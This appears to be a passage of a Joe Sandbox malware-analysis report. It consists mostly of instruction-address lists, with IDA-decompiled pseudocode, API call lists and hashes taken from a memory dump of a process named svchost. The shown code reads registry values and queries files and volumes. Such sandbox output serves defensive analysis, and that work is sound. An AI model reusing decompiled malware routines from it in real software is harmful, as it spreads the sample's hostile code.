                                                                                                                                                                                                                                                                                                      0x030c4c03
                                                                                                                                                                                                                                                                                                      0x030c4be0
                                                                                                                                                                                                                                                                                                      0x030c4c0a
                                                                                                                                                                                                                                                                                                      0x030c4c0f
                                                                                                                                                                                                                                                                                                      0x030c4c0f
                                                                                                                                                                                                                                                                                                      0x030c4c17
                                                                                                                                                                                                                                                                                                      0x030c4c23
                                                                                                                                                                                                                                                                                                      0x030c4c2f
                                                                                                                                                                                                                                                                                                      0x030c4c38
                                                                                                                                                                                                                                                                                                      0x030c4c41
                                                                                                                                                                                                                                                                                                      0x030c4c4a
                                                                                                                                                                                                                                                                                                      0x030c4c53
                                                                                                                                                                                                                                                                                                      0x030c4c5c
                                                                                                                                                                                                                                                                                                      0x030c4c65
                                                                                                                                                                                                                                                                                                      0x030c4c6e
                                                                                                                                                                                                                                                                                                      0x030c4c77
                                                                                                                                                                                                                                                                                                      0x030c4c7d
                                                                                                                                                                                                                                                                                                      0x030c4c81
                                                                                                                                                                                                                                                                                                      0x030c4c88
                                                                                                                                                                                                                                                                                                      0x030c4c9b
                                                                                                                                                                                                                                                                                                      0x030c4ca5
                                                                                                                                                                                                                                                                                                      0x030c4cac
                                                                                                                                                                                                                                                                                                      0x030c4cb1
                                                                                                                                                                                                                                                                                                      0x030c4cb6
                                                                                                                                                                                                                                                                                                      0x030c4cc0
                                                                                                                                                                                                                                                                                                      0x030c4cc5
                                                                                                                                                                                                                                                                                                      0x030c4cc8
                                                                                                                                                                                                                                                                                                      0x030c4ccf
                                                                                                                                                                                                                                                                                                      0x030c4cd5
                                                                                                                                                                                                                                                                                                      0x030c4cd7
                                                                                                                                                                                                                                                                                                      0x030c4cdf
                                                                                                                                                                                                                                                                                                      0x030c4ce0
                                                                                                                                                                                                                                                                                                      0x030c4ce3
                                                                                                                                                                                                                                                                                                      0x030c4cf6
                                                                                                                                                                                                                                                                                                      0x030c4cfc
                                                                                                                                                                                                                                                                                                      0x030c4d06
                                                                                                                                                                                                                                                                                                      0x030c4d10
                                                                                                                                                                                                                                                                                                      0x030c4d20
                                                                                                                                                                                                                                                                                                      0x030c4d26
                                                                                                                                                                                                                                                                                                      0x030c4d30
                                                                                                                                                                                                                                                                                                      0x030c4d3a
                                                                                                                                                                                                                                                                                                      0x030c4d3c
                                                                                                                                                                                                                                                                                                      0x030c4d44
                                                                                                                                                                                                                                                                                                      0x030c4d4d
                                                                                                                                                                                                                                                                                                      0x030c4d4f
                                                                                                                                                                                                                                                                                                      0x030c4d7e
                                                                                                                                                                                                                                                                                                      0x030c4d89
                                                                                                                                                                                                                                                                                                      0x030c4d8b
                                                                                                                                                                                                                                                                                                      0x030c4d98
                                                                                                                                                                                                                                                                                                      0x030c4d9e
                                                                                                                                                                                                                                                                                                      0x030c4da0
                                                                                                                                                                                                                                                                                                      0x030c4da8
                                                                                                                                                                                                                                                                                                      0x030c4db1
                                                                                                                                                                                                                                                                                                      0x030c4db3
                                                                                                                                                                                                                                                                                                      0x030c4db5
                                                                                                                                                                                                                                                                                                      0x030c4dbd
                                                                                                                                                                                                                                                                                                      0x030c4dc6
                                                                                                                                                                                                                                                                                                      0x030c4dde
                                                                                                                                                                                                                                                                                                      0x030c4de9
                                                                                                                                                                                                                                                                                                      0x030c4deb
                                                                                                                                                                                                                                                                                                      0x030c4df8
                                                                                                                                                                                                                                                                                                      0x030c4e05
                                                                                                                                                                                                                                                                                                      0x030c4e0a
                                                                                                                                                                                                                                                                                                      0x030c4e0f
                                                                                                                                                                                                                                                                                                      0x030c4e17
                                                                                                                                                                                                                                                                                                      0x030c4e18
                                                                                                                                                                                                                                                                                                      0x030c4e26
                                                                                                                                                                                                                                                                                                      0x030c4e32
                                                                                                                                                                                                                                                                                                      0x030c4e34
                                                                                                                                                                                                                                                                                                      0x030c4e3d
                                                                                                                                                                                                                                                                                                      0x030c4e3d
                                                                                                                                                                                                                                                                                                      0x030c4e0f
                                                                                                                                                                                                                                                                                                      0x030c4e44
                                                                                                                                                                                                                                                                                                      0x030c4e4b
                                                                                                                                                                                                                                                                                                      0x030c4e4b
                                                                                                                                                                                                                                                                                                      0x030c4e5f
                                                                                                                                                                                                                                                                                                      0x030c4e64
                                                                                                                                                                                                                                                                                                      0x030c4e67
                                                                                                                                                                                                                                                                                                      0x030c4e67
                                                                                                                                                                                                                                                                                                      0x030c4cf6
                                                                                                                                                                                                                                                                                                      0x030c4e6d
                                                                                                                                                                                                                                                                                                      0x030c4e72
                                                                                                                                                                                                                                                                                                      0x030c4e72
                                                                                                                                                                                                                                                                                                      0x030c4cb6
                                                                                                                                                                                                                                                                                                      0x030c4e7a
                                                                                                                                                                                                                                                                                                      0x030c4e86
                                                                                                                                                                                                                                                                                                      0x030c4e92
                                                                                                                                                                                                                                                                                                      0x030c4e9e
                                                                                                                                                                                                                                                                                                      0x030c4eaa
                                                                                                                                                                                                                                                                                                      0x030c4eb6
                                                                                                                                                                                                                                                                                                      0x030c4ec2
                                                                                                                                                                                                                                                                                                      0x030c4ece
                                                                                                                                                                                                                                                                                                      0x030c4eda
                                                                                                                                                                                                                                                                                                      0x030c4ee6
                                                                                                                                                                                                                                                                                                      0x030c4ef2
                                                                                                                                                                                                                                                                                                      0x030c4efe
                                                                                                                                                                                                                                                                                                      0x030c4f0a
                                                                                                                                                                                                                                                                                                      0x030c4f16
                                                                                                                                                                                                                                                                                                      0x030c4f22
                                                                                                                                                                                                                                                                                                      0x030c4f2e
                                                                                                                                                                                                                                                                                                      0x030c4f3a
                                                                                                                                                                                                                                                                                                      0x030c4f46
                                                                                                                                                                                                                                                                                                      0x030c4f52
                                                                                                                                                                                                                                                                                                      0x030c4f5e
                                                                                                                                                                                                                                                                                                      0x030c4f67
                                                                                                                                                                                                                                                                                                      0x030c4f73
                                                                                                                                                                                                                                                                                                      0x030c4f7f
                                                                                                                                                                                                                                                                                                      0x030c4f8b
                                                                                                                                                                                                                                                                                                      0x030c4f97
                                                                                                                                                                                                                                                                                                      0x030c4fa3
                                                                                                                                                                                                                                                                                                      0x030c4faf
                                                                                                                                                                                                                                                                                                      0x030c4fbb
                                                                                                                                                                                                                                                                                                      0x030c4fc7
                                                                                                                                                                                                                                                                                                      0x030c4fd3
                                                                                                                                                                                                                                                                                                      0x030c4fdf
                                                                                                                                                                                                                                                                                                      0x030c4feb
                                                                                                                                                                                                                                                                                                      0x030c4ff7
                                                                                                                                                                                                                                                                                                      0x030c5003
                                                                                                                                                                                                                                                                                                      0x030c500f
                                                                                                                                                                                                                                                                                                      0x030c501b
                                                                                                                                                                                                                                                                                                      0x030c5024
                                                                                                                                                                                                                                                                                                      0x030c5030
                                                                                                                                                                                                                                                                                                      0x030c503c
                                                                                                                                                                                                                                                                                                      0x030c5048
                                                                                                                                                                                                                                                                                                      0x030c5054
                                                                                                                                                                                                                                                                                                      0x030c5060
                                                                                                                                                                                                                                                                                                      0x030c506c
                                                                                                                                                                                                                                                                                                      0x030c5078
                                                                                                                                                                                                                                                                                                      0x030c5084
                                                                                                                                                                                                                                                                                                      0x030c5090
                                                                                                                                                                                                                                                                                                      0x030c509c
                                                                                                                                                                                                                                                                                                      0x030c50a8
                                                                                                                                                                                                                                                                                                      0x030c50b4
                                                                                                                                                                                                                                                                                                      0x030c50c0
                                                                                                                                                                                                                                                                                                      0x030c50cc
                                                                                                                                                                                                                                                                                                      0x030c50d8
                                                                                                                                                                                                                                                                                                      0x030c50e4
                                                                                                                                                                                                                                                                                                      0x030c50f0
                                                                                                                                                                                                                                                                                                      0x030c50fc
                                                                                                                                                                                                                                                                                                      0x030c5108
                                                                                                                                                                                                                                                                                                      0x030c5114
                                                                                                                                                                                                                                                                                                      0x030c511d
                                                                                                                                                                                                                                                                                                      0x030c5129
                                                                                                                                                                                                                                                                                                      0x030c5135
                                                                                                                                                                                                                                                                                                      0x030c5141
                                                                                                                                                                                                                                                                                                      0x030c514d
                                                                                                                                                                                                                                                                                                      0x030c5159
                                                                                                                                                                                                                                                                                                      0x030c5165
                                                                                                                                                                                                                                                                                                      0x030c5171
                                                                                                                                                                                                                                                                                                      0x030c517d
                                                                                                                                                                                                                                                                                                      0x030c5189
                                                                                                                                                                                                                                                                                                      0x030c5195
                                                                                                                                                                                                                                                                                                      0x030c51a1
                                                                                                                                                                                                                                                                                                      0x030c51ad
                                                                                                                                                                                                                                                                                                      0x030c51b9
                                                                                                                                                                                                                                                                                                      0x030c51c5
                                                                                                                                                                                                                                                                                                      0x030c51d1
                                                                                                                                                                                                                                                                                                      0x030c51dd
                                                                                                                                                                                                                                                                                                      0x030c51e9
                                                                                                                                                                                                                                                                                                      0x030c51f5
                                                                                                                                                                                                                                                                                                      0x030c51fe
                                                                                                                                                                                                                                                                                                      0x030c5205
                                                                                                                                                                                                                                                                                                      0x030c520c
                                                                                                                                                                                                                                                                                                      0x030c521e
                                                                                                                                                                                                                                                                                                      0x030c5223
                                                                                                                                                                                                                                                                                                      0x030c5228
                                                                                                                                                                                                                                                                                                      0x030c522e
                                                                                                                                                                                                                                                                                                      0x030c5233
                                                                                                                                                                                                                                                                                                      0x030c5236
                                                                                                                                                                                                                                                                                                      0x030c5236
                                                                                                                                                                                                                                                                                                      0x030c5239
                                                                                                                                                                                                                                                                                                      0x030c5240
                                                                                                                                                                                                                                                                                                      0x030c5252
                                                                                                                                                                                                                                                                                                      0x030c5257
                                                                                                                                                                                                                                                                                                      0x030c525c
                                                                                                                                                                                                                                                                                                      0x030c5262
                                                                                                                                                                                                                                                                                                      0x030c5267
                                                                                                                                                                                                                                                                                                      0x030c526a
                                                                                                                                                                                                                                                                                                      0x030c526a
                                                                                                                                                                                                                                                                                                      0x030c526d
                                                                                                                                                                                                                                                                                                      0x030c5274
                                                                                                                                                                                                                                                                                                      0x030c5283
                                                                                                                                                                                                                                                                                                      0x030c5288
                                                                                                                                                                                                                                                                                                      0x030c528d
                                                                                                                                                                                                                                                                                                      0x030c5293
                                                                                                                                                                                                                                                                                                      0x030c5298
                                                                                                                                                                                                                                                                                                      0x030c529b
                                                                                                                                                                                                                                                                                                      0x030c529b
                                                                                                                                                                                                                                                                                                      0x030c529e
                                                                                                                                                                                                                                                                                                      0x030c52a5
                                                                                                                                                                                                                                                                                                      0x030c52b7
                                                                                                                                                                                                                                                                                                      0x030c52bc
                                                                                                                                                                                                                                                                                                      0x030c52c1
                                                                                                                                                                                                                                                                                                      0x030c52c7
                                                                                                                                                                                                                                                                                                      0x030c52cc
                                                                                                                                                                                                                                                                                                      0x030c52cf
                                                                                                                                                                                                                                                                                                      0x030c52cf
                                                                                                                                                                                                                                                                                                      0x030c52db
                                                                                                                                                                                                                                                                                                      0x030c52de
                                                                                                                                                                                                                                                                                                      0x030c52e1
                                                                                                                                                                                                                                                                                                      0x030c52ee
                                                                                                                                                                                                                                                                                                      0x030c52f2
                                                                                                                                                                                                                                                                                                      0x030c52f7
                                                                                                                                                                                                                                                                                                      0x030c52fc
                                                                                                                                                                                                                                                                                                      0x030c5306
                                                                                                                                                                                                                                                                                                      0x030c5310
                                                                                                                                                                                                                                                                                                      0x030c5315
                                                                                                                                                                                                                                                                                                      0x030c531b
                                                                                                                                                                                                                                                                                                      0x030c5323
                                                                                                                                                                                                                                                                                                      0x030c5323
                                                                                                                                                                                                                                                                                                      0x030c532a
                                                                                                                                                                                                                                                                                                      0x030c532f
                                                                                                                                                                                                                                                                                                      0x030c5330
                                                                                                                                                                                                                                                                                                      0x030c5333
                                                                                                                                                                                                                                                                                                      0x030c533f
                                                                                                                                                                                                                                                                                                      0x030c5347
                                                                                                                                                                                                                                                                                                      0x030c5347
                                                                                                                                                                                                                                                                                                      0x030c534e
                                                                                                                                                                                                                                                                                                      0x030c5353
                                                                                                                                                                                                                                                                                                      0x030c5357
                                                                                                                                                                                                                                                                                                      0x030c5363
                                                                                                                                                                                                                                                                                                      0x030c5368
                                                                                                                                                                                                                                                                                                      0x030c536b
                                                                                                                                                                                                                                                                                                      0x030c536b
                                                                                                                                                                                                                                                                                                      0x030c5372
                                                                                                                                                                                                                                                                                                      0x030c537c
                                                                                                                                                                                                                                                                                                      0x030c5381
                                                                                                                                                                                                                                                                                                      0x030c5387
                                                                                                                                                                                                                                                                                                      0x030c538f
                                                                                                                                                                                                                                                                                                      0x030c538f
                                                                                                                                                                                                                                                                                                      0x030c5372
                                                                                                                                                                                                                                                                                                      0x030c5396
                                                                                                                                                                                                                                                                                                      0x030c53a2
                                                                                                                                                                                                                                                                                                      0x030c53ae
                                                                                                                                                                                                                                                                                                      0x030c53b3
                                                                                                                                                                                                                                                                                                      0x030c53b3
                                                                                                                                                                                                                                                                                                      0x030c53ba
                                                                                                                                                                                                                                                                                                      0x030c53c7
                                                                                                                                                                                                                                                                                                      0x030c53cc
                                                                                                                                                                                                                                                                                                      0x030c53d1
                                                                                                                                                                                                                                                                                                      0x030c53e8
                                                                                                                                                                                                                                                                                                      0x030c53f2
                                                                                                                                                                                                                                                                                                      0x030c540a
                                                                                                                                                                                                                                                                                                      0x030c5414
                                                                                                                                                                                                                                                                                                      0x030c5428
                                                                                                                                                                                                                                                                                                      0x030c5432
                                                                                                                                                                                                                                                                                                      0x030c5432
                                                                                                                                                                                                                                                                                                      0x030c53d1
                                                                                                                                                                                                                                                                                                      0x030c5435
                                                                                                                                                                                                                                                                                                      0x030c5437
                                                                                                                                                                                                                                                                                                      0x030c5446
                                                                                                                                                                                                                                                                                                      0x030c544d
                                                                                                                                                                                                                                                                                                      0x030c54fd
                                                                                                                                                                                                                                                                                                      0x030c5501
                                                                                                                                                                                                                                                                                                      0x030c5511
                                                                                                                                                                                                                                                                                                      0x030c551b
                                                                                                                                                                                                                                                                                                      0x030c5523
                                                                                                                                                                                                                                                                                                      0x030c5525
                                                                                                                                                                                                                                                                                                      0x030c5525
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c5453
                                                                                                                                                                                                                                                                                                      0x030c545a
                                                                                                                                                                                                                                                                                                      0x030c545f
                                                                                                                                                                                                                                                                                                      0x030c5462
                                                                                                                                                                                                                                                                                                      0x030c5469
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c546f
                                                                                                                                                                                                                                                                                                      0x030c5472
                                                                                                                                                                                                                                                                                                      0x030c5476
                                                                                                                                                                                                                                                                                                      0x030c5487
                                                                                                                                                                                                                                                                                                      0x030c54f1
                                                                                                                                                                                                                                                                                                      0x030c54f5
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c54fa
                                                                                                                                                                                                                                                                                                      0x030c5493
                                                                                                                                                                                                                                                                                                      0x030c5497
                                                                                                                                                                                                                                                                                                      0x030c549c
                                                                                                                                                                                                                                                                                                      0x030c54a1
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c54a3
                                                                                                                                                                                                                                                                                                      0x030c54b5
                                                                                                                                                                                                                                                                                                      0x030c54d6
                                                                                                                                                                                                                                                                                                      0x030c54db
                                                                                                                                                                                                                                                                                                      0x030c54e1
                                                                                                                                                                                                                                                                                                      0x030c54e3
                                                                                                                                                                                                                                                                                                      0x030c54ec
                                                                                                                                                                                                                                                                                                      0x030c54b2
                                                                                                                                                                                                                                                                                                      0x030c54b2
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c54b5
                                                                                                                                                                                                                                                                                                      0x030c4af0
                                                                                                                                                                                                                                                                                                      0x030c4af4
                                                                                                                                                                                                                                                                                                      0x030c4af9
                                                                                                                                                                                                                                                                                                      0x030c4afc
                                                                                                                                                                                                                                                                                                      0x030c4b03
                                                                                                                                                                                                                                                                                                      0x030c4b0d
                                                                                                                                                                                                                                                                                                      0x030c4b12
                                                                                                                                                                                                                                                                                                      0x030c4b17
                                                                                                                                                                                                                                                                                                      0x030c4b22
                                                                                                                                                                                                                                                                                                      0x030c4b26
                                                                                                                                                                                                                                                                                                      0x030c4b32
                                                                                                                                                                                                                                                                                                      0x030c4b3a
                                                                                                                                                                                                                                                                                                      0x030c4b3a
                                                                                                                                                                                                                                                                                                      0x030c4b17
                                                                                                                                                                                                                                                                                                      0x030c4b41
                                                                                                                                                                                                                                                                                                      0x030c4b46
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c4b46

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtCreateFile.NTDLL(00000000,00100001,00000018,?,00000000,00000080,00000001,00000001,00000000,00000000,00000000), ref: 030C4D89
                                                                                                                                                                                                                                                                                                      • NtQueryVolumeInformationFile.NTDLL(00000000,?,?,00000018,00000001), ref: 030C4DE9
                                                                                                                                                                                                                                                                                                      • NtClose.NTDLL(00000000), ref: 030C4E4B
                                                                                                                                                                                                                                                                                                        • Part of subcall function 030C7700: NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00004000,00000000), ref: 030C7728
                                                                                                                                                                                                                                                                                                        • Part of subcall function 030C7700: NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 030C7741
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FileFreeMemoryVirtual$CloseCreateInformationQueryVolume
                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                      • API String ID: 2310517972-2766056989
                                                                                                                                                                                                                                                                                                      • Opcode ID: 17f5a711d9215b43bcc2b50a2bdc7b43b4841d3f391420a7f53bd15d1e9abc1d
                                                                                                                                                                                                                                                                                                      • Instruction ID: b5f4effeeb9d9504162d814a4f77c0694e1fe1ebef8d85dd39b54d296324d7bc
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 17f5a711d9215b43bcc2b50a2bdc7b43b4841d3f391420a7f53bd15d1e9abc1d
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B16219B4A112589BDB14DFA4DC50BDEB3B5EF98301F1480ACD10CAB291EB799E84CF55
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 178 30cb3c0-30cb3d1 179 30cb3d7-30cb41c call 30c16e0 * 2 NtQueryValueKey 178->179 180 30cb511-30cb517 178->180 179->180 186 30cb422-30cb435 call 30c7460 179->186 186->180 189 30cb43b-30cb460 call 30c16e0 NtQueryValueKey 186->189 192 30cb505-30cb509 call 30c7700 189->192 193 30cb466-30cb473 189->193 197 30cb50e 192->197 193->192 194 30cb479-30cb483 call 30c7460 193->194 198 30cb488-30cb492 194->198 197->180 199 30cb4fe 198->199 200 30cb494-30cb4b4 call 30c16e0 198->200 199->192 204 30cb4b6-30cb4bf 200->204 205 30cb4c1-30cb4c5 200->205 204->205 206 30cb4c7-30cb4cf 205->206 207 30cb4d1-30cb4da call 30c7700 205->207 208 30cb4dd-30cb4e1 206->208 207->208 211 30cb4ee-30cb4f2 208->211 212 30cb4e3-30cb4ec 208->212 211->199 213 30cb4f4-30cb4fc 211->213 212->211 213->199
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 95%
                                                                                                                                                                                                                                                                                                      			E030CB3C0(void* _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24) {
                                                                                                                                                                                                                                                                                                      				intOrPtr* _v8;
                                                                                                                                                                                                                                                                                                      				long _v12;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v16;
                                                                                                                                                                                                                                                                                                      				void* _v20;
                                                                                                                                                                                                                                                                                                      				void* _v24;
                                                                                                                                                                                                                                                                                                      				long _v28;
                                                                                                                                                                                                                                                                                                      				void* _v36;
                                                                                                                                                                                                                                                                                                      				long _t60;
                                                                                                                                                                                                                                                                                                      				void* _t61;
                                                                                                                                                                                                                                                                                                      				long _t65;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t68;
                                                                                                                                                                                                                                                                                                      				void* _t71;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t75;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t77;
                                                                                                                                                                                                                                                                                                      				void* _t98;
                                                                                                                                                                                                                                                                                                      				void* _t99;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v24 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0) {
                                                                                                                                                                                                                                                                                                      					L17:
                                                                                                                                                                                                                                                                                                      					return _v24;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_push(_a8);
                                                                                                                                                                                                                                                                                                      				_push( &_v36);
                                                                                                                                                                                                                                                                                                      				 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x15c))))();
                                                                                                                                                                                                                                                                                                      				_v12 = 0;
                                                                                                                                                                                                                                                                                                      				E030C16E0();
                                                                                                                                                                                                                                                                                                      				_t60 = NtQueryValueKey(_a4,  &_v36, 2, 0, 0,  &_v12); // executed
                                                                                                                                                                                                                                                                                                      				_v28 = _t60;
                                                                                                                                                                                                                                                                                                      				if(_v28 != 0xc0000023) {
                                                                                                                                                                                                                                                                                                      					goto L17;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_t61 = E030C7460(_v12); // executed
                                                                                                                                                                                                                                                                                                      				_t99 = _t98 + 4;
                                                                                                                                                                                                                                                                                                      				_v20 = _t61;
                                                                                                                                                                                                                                                                                                      				if(_v20 == 0) {
                                                                                                                                                                                                                                                                                                      					goto L17;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_t82 =  *((intOrPtr*)(E030C16E0() + 0x100));
                                                                                                                                                                                                                                                                                                      				_t65 = NtQueryValueKey(_a4,  &_v36, 2, _v20, _v12,  &_v12); // executed
                                                                                                                                                                                                                                                                                                      				if(_t65 >= 0) {
                                                                                                                                                                                                                                                                                                      					_v8 = _v20;
                                                                                                                                                                                                                                                                                                      					if( *((intOrPtr*)(_v8 + 8)) != 0) {
                                                                                                                                                                                                                                                                                                      						_t82 = _v8;
                                                                                                                                                                                                                                                                                                      						_t68 = E030C7460( *((intOrPtr*)(_v8 + 8)) + 1); // executed
                                                                                                                                                                                                                                                                                                      						_t99 = _t99 + 4;
                                                                                                                                                                                                                                                                                                      						_v16 = _t68;
                                                                                                                                                                                                                                                                                                      						if(_v16 != 0) {
                                                                                                                                                                                                                                                                                                      							_t71 = E030C16E0();
                                                                                                                                                                                                                                                                                                      							_t82 =  *((intOrPtr*)(_t71 + 0x30));
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(_t71 + 0x30))))(_v16, _v8 + 0xc,  *((intOrPtr*)(_v8 + 8)));
                                                                                                                                                                                                                                                                                                      							if(_a16 != 0) {
                                                                                                                                                                                                                                                                                                      								_t77 = _v8;
                                                                                                                                                                                                                                                                                                      								_t82 =  *((intOrPtr*)(_t77 + 8));
                                                                                                                                                                                                                                                                                                      								 *_a16 =  *((intOrPtr*)(_t77 + 8));
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_a12 == 0) {
                                                                                                                                                                                                                                                                                                      								_t82 = _v16;
                                                                                                                                                                                                                                                                                                      								E030C7700(_v16, _v16);
                                                                                                                                                                                                                                                                                                      								_t99 = _t99 + 4;
                                                                                                                                                                                                                                                                                                      							} else {
                                                                                                                                                                                                                                                                                                      								 *_a12 = _v16;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_a20 != 0) {
                                                                                                                                                                                                                                                                                                      								_t75 = _v8;
                                                                                                                                                                                                                                                                                                      								_t82 =  *((intOrPtr*)(_t75 + 4));
                                                                                                                                                                                                                                                                                                      								 *_a20 =  *((intOrPtr*)(_t75 + 4));
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_a24 != 0) {
                                                                                                                                                                                                                                                                                                      								_t82 =  *_v8;
                                                                                                                                                                                                                                                                                                      								 *_a24 =  *_v8;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_v24 = 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				E030C7700(_t82, _v20); // executed
                                                                                                                                                                                                                                                                                                      				goto L17;
                                                                                                                                                                                                                                                                                                      			}



















                                                                                                                                                                                                                                                                                                      0x030cb3c6
                                                                                                                                                                                                                                                                                                      0x030cb3d1
                                                                                                                                                                                                                                                                                                      0x030cb511
                                                                                                                                                                                                                                                                                                      0x030cb517
                                                                                                                                                                                                                                                                                                      0x030cb517
                                                                                                                                                                                                                                                                                                      0x030cb3da
                                                                                                                                                                                                                                                                                                      0x030cb3de
                                                                                                                                                                                                                                                                                                      0x030cb3ea
                                                                                                                                                                                                                                                                                                      0x030cb3ec
                                                                                                                                                                                                                                                                                                      0x030cb405
                                                                                                                                                                                                                                                                                                      0x030cb410
                                                                                                                                                                                                                                                                                                      0x030cb412
                                                                                                                                                                                                                                                                                                      0x030cb41c
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cb426
                                                                                                                                                                                                                                                                                                      0x030cb42b
                                                                                                                                                                                                                                                                                                      0x030cb42e
                                                                                                                                                                                                                                                                                                      0x030cb435
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cb456
                                                                                                                                                                                                                                                                                                      0x030cb45c
                                                                                                                                                                                                                                                                                                      0x030cb460
                                                                                                                                                                                                                                                                                                      0x030cb469
                                                                                                                                                                                                                                                                                                      0x030cb473
                                                                                                                                                                                                                                                                                                      0x030cb479
                                                                                                                                                                                                                                                                                                      0x030cb483
                                                                                                                                                                                                                                                                                                      0x030cb488
                                                                                                                                                                                                                                                                                                      0x030cb48b
                                                                                                                                                                                                                                                                                                      0x030cb492
                                                                                                                                                                                                                                                                                                      0x030cb4a6
                                                                                                                                                                                                                                                                                                      0x030cb4ab
                                                                                                                                                                                                                                                                                                      0x030cb4ae
                                                                                                                                                                                                                                                                                                      0x030cb4b4
                                                                                                                                                                                                                                                                                                      0x030cb4b9
                                                                                                                                                                                                                                                                                                      0x030cb4bc
                                                                                                                                                                                                                                                                                                      0x030cb4bf
                                                                                                                                                                                                                                                                                                      0x030cb4bf
                                                                                                                                                                                                                                                                                                      0x030cb4c5
                                                                                                                                                                                                                                                                                                      0x030cb4d1
                                                                                                                                                                                                                                                                                                      0x030cb4d5
                                                                                                                                                                                                                                                                                                      0x030cb4da
                                                                                                                                                                                                                                                                                                      0x030cb4c7
                                                                                                                                                                                                                                                                                                      0x030cb4cd
                                                                                                                                                                                                                                                                                                      0x030cb4cd
                                                                                                                                                                                                                                                                                                      0x030cb4e1
                                                                                                                                                                                                                                                                                                      0x030cb4e6
                                                                                                                                                                                                                                                                                                      0x030cb4e9
                                                                                                                                                                                                                                                                                                      0x030cb4ec
                                                                                                                                                                                                                                                                                                      0x030cb4ec
                                                                                                                                                                                                                                                                                                      0x030cb4f2
                                                                                                                                                                                                                                                                                                      0x030cb4fa
                                                                                                                                                                                                                                                                                                      0x030cb4fc
                                                                                                                                                                                                                                                                                                      0x030cb4fc
                                                                                                                                                                                                                                                                                                      0x030cb4f2
                                                                                                                                                                                                                                                                                                      0x030cb4fe
                                                                                                                                                                                                                                                                                                      0x030cb4fe
                                                                                                                                                                                                                                                                                                      0x030cb473
                                                                                                                                                                                                                                                                                                      0x030cb509
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtQueryValueKey.NTDLL(00000000,?,00000002,00000000,00000000,00000000,?,030CB39F,00000000), ref: 030CB410
                                                                                                                                                                                                                                                                                                      • NtQueryValueKey.NTDLL(00000000,?,00000002,00000000,00000000,00000000,?,?,030CB39F), ref: 030CB45C
                                                                                                                                                                                                                                                                                                        • Part of subcall function 030C7700: NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00004000,00000000), ref: 030C7728
                                                                                                                                                                                                                                                                                                        • Part of subcall function 030C7700: NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 030C7741
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FreeMemoryQueryValueVirtual
                                                                                                                                                                                                                                                                                                      • String ID: #
